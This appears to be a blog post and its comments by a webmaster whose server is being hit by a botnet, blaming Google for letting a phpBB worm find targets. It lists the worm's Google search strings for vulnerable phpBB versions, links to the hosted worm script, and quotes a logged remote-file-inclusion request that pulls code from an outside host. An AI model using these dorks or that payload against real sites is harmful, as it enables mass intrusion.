Finally got in touch with one of the owners of a server that was hacked and actively mounting the botnet attack and got some good information. There was a file installed on the server called gugl.txt which was a Perl script that had an active load running on the server when it was shutdown.
Took about 5 seconds to glance at this file and it's obvious I was absolutely correct about how they were finding vulnerable sites using Google as the primary data mining facility. The only thing I found a bit odd is why they were using Google Japan "www.google.co.jp" when the other evidence I found pointed to Google Turkey, perhaps 2 different hackers or worms, perhaps just spreading the load around so Google won't notice, who knows.
The file they download to your server to locate more vulnerable servers is here:
http://lawhelper.com.ua/gugl.txtWhen I opened the file my virus scanner claimed it was a Perl.Asan virus so I did a bit of research and Panda claims it's the Perl/Asan.A.worm or something similar, that locates and infects phpBB systems.
Here's the searches in human readable form that gugl.txt was using to look for vulnerabilities:
"posting.php?mode=newtopic" "viewtopic.php?t=" "viewtopic"+"&view=previous" "Powered+By+phpBB+2.0.4" "Powered+By+phpBB+2.0.5" "Powered+By+phpBB+2.0.6" "Powered+By+phpBB+2.0.7" "Powered+By+phpBB+2.0.8" "Powered+By+phpBB+2.0.9" "Powered+By+phpBB+2.0.10" "Powered+By+phpBB+2.0.10" "Powered+By+phpBB+2.0.11" "Powered+By+phpBB+2.0.2" "Powered+By+phpBB+2.0.1" "Powered+by+phpbb+2.0.10".com "Powered+by+phpbb+2.0.8".com "Powered+by+phpbb+2.0.6".com "Powered+by+phpbb+2.0.10".net "Powered+by+phpbb+2.0.6".net "Powered+by+phpbb+2.0.8".de "Powered+by+phpbb+2.0.6".de "Powered+by+phpbb+2.0.10".de "Powered+by+phpbb+2.0.8".be "Powered+by+phpbb+2.0.6".be "Powered+by+phpbb+2.0.10".be "Powered+by+phpbb+2.0.8".ca "Powered+by+phpbb+2.0.6".ca "Powered+by+phpbb+2.0.10".ca "Powered+by+phpbb+2.0.8".org "Powered+by+phpbb+2.0.6".org "Powered+by+phpbb+2.0.10".org "Powered+by+phpbb+2.0.6"foro "Powered+by+phpbb+2.0.8"foro "Powered+by+phpbb+2.0.10"foro "Powered+by+phpbb+2.0.6"forum "Powered+by+phpbb+2.0.8"forum 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"powered+by"+php+view+0.9+2001+2002+"group"+board+"cannot+post" "powered+by"+php+view+0.10+2001+2002+"group"+board+"cannot+post"Google likes to claim they "Do No Evil" but sure allow themselves to be used for evil.
Would it be too much to ask that Google plug some holes or block some types of searches to stop these worms from finding vulnerable websites?
Come on guys, with all your Billion$ you should be able to have a few security experts on hand, maybe working in conjunction with Panda, Symantec and such, that keep on top of these specific threats and block the specific searches used to locate vulnerable sites.
Not just Google either, they were just the search engine in the center of this particular attack, but the other search engines like Yahoo, Ask and MSN should be blocking access to this stuff as well.
Technically, my server is only under attack because Google showed one of these worms that the phrase "PhotoCart" existed somewhere in my server, and it's not even the software these idiot hackers and looking for in the first place.
Gee thanks Google, like I needed this problem.
Sheesh.
At least now I know what I'm up against.
3 comments:
I believe that we do a pretty good job at blocking these already. What was the specific phrase that was used to find you in Google?
Appreciate you looking into this Matt!
Guess I'm not sure why they would still be launching scripts culling results from Google if they were not longer expanding their botnet from the results?
Some of the spot tests I ran on a few queries got some valid hits, don't know if those servers were still vulnerable or not, but I could easily find out :)
Guess my post was a little misleading in that I don't run a phpBB, but some of the sites attacking me did, and the script I referenced was running in a breached phpBB account today.
They appear to change scripts at some point during the day and look for different things, so I was unable to get an exact copy of the strings that they used to locate my server.
However, I know I was being hit with the PhotoCart vulnerability, which I also don't run, but apparently have the term PhotoCart somewhere on my server as it was "inurl:/PhotoCart/" that I noticed being used in one instance.
They send this string to my webserver from a bunch of IPs over and over for a period of time every day:
"GET /PhotoCart/adminprint.php?path=http://artelj.com/c.ar"
Looks like artelj.com is offline now, but this is the 5th or 6th site they've used as a repository since this started, I expect them to start with a new site tomorrow.
Basically, several of the servers that are invovled with the attack with appear to have been breached via phpBB's, I think a Mambo or two, it's a total crapshoot of what's hitting my box, but they're definitely using Google, Altavista and others.
Check out this page:
http://lawhelper.com.ua/guglb.txt
Matt,
One last thought, I didn't dig through their script too hard, but just took another quick look it didn't look too bright. What appears to be happening is that they just blindly attack ANY results from Google.
Therefore, if you cleaned up the results from returning what they specifically search for as you claimed, that would explain why my server is now a target being ruthlessly pounded on a daily basis because of the fewer results.
OK, back to the drawing board Mr. Cutts...
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